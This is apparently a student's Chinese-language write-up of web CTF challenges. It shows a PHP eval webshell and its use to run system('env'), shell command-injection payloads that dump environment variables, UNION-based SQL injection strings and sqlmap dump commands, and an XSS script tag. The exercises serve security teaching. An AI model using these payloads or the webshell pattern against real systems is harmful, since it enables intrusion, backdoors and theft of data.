跑马场
进入 /ma.php
<?php
// 真正的强者,敢于把自己的马送给别人
highlight_file(__FILE__);
@eval($_REQUEST['dc64c146a42ea65baf7b5a7d64a50972']);
$_REQUEST[] 既包含 GET 又包含 POST
dc64c146a42ea65baf7b5a7d64a50972 即为变量名
eval() 函数把括号里面的内容按照 php 代码处理
system() 调用系统 shell
题目说 flag 在环境变量中,故读取 env
http://course.hitctf.cn:28415/ma.php?dc64c146a42ea65baf7b5a7d64a50972=system("env");
字符艺术
输入正常字符会显示艺术字
乱输一通 ctrl c 中断发现报错:
Traceback (most recent call last):
File "/app/app.py", line 7, in <module>
print(os.popen(cmd).read())
python 调用 Shell 脚本,有两种方法:os.system() 和 os.popen(),
前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容
故通过 || 或者 && 阻断字符的读取,再用其他代码读取有用信息
为什么 || 不行(无法执行后面的语句)而 && 可以?
短路原则 若 || 左边为真则右边不执行,若 && 左边为假则右边不执行
题目说 flag 在环境变量中,故读取 env
aa && env
公式编辑器
输入一个引号来到报错页面
看到
cmd = f'python3 gen.py {filename} "{latex}"'
显然我们在输入框里输入的内容被赋给了变量 latex,而我们需要利用这一条 cmd 命令执行 shell
并且它将结果输入了文件,故不会直接回显
解法1:将我们需要的结果写入文件,再读取
aa" && env > static/fuck.txt #"
&& 换成 | 也可行,但换成 || 不可行
为什么是 static ?该网页由 Flask 编写,而 Flask 将静态数据存放在 static 文件夹。
访问 /static/fuck.txt 即可获取 flag.
中级户籍表
1' or 1=1#
有回显,找到注入点
1' union select 1,1,1,database()#
成功回显,说明列数为 4,并且得到数据库名 lilac
1' union select 1,1,1,table_name from information_schema.tables where table_schema='lilac'#
找到属于 lilac 数据库的表名,发现有一个叫 pcbgeioocjcbpkfq 的数据表
1' union select *,1,1,1 from pcbgeioocjcbpkfq#
查看表中数据,得到 flag
注意:多列时 * 只能放在第一位!
高级户籍表
sqlmap 直接干:
python sqlmap.py -u http://course.hitctf.cn:28121/search?name=Amy+Jones
查看当前数据库:
python sqlmap.py -u http://course.hitctf.cn:28121/search?name=Amy+Jones --current-db
获得数据库名:lilac
查看当前数据库下的数据表:
python sqlmap.py -u http://course.hitctf.cn:28121/search?name=Amy+Jones --tables -D lilac
看到一个 belnfnbb 的表
查看表中所有信息
python sqlmap.py -u http://course.hitctf.cn:28121/search?name=Amy+Jones -T belnfnbb -D lilac --dump
获得 flag
解法2 正常注入
举办喵
字面意思?弹窗内容是 xss(?)
评论中编写脚本
<script>alert("xss")</script>
再点击举办即可得到 flag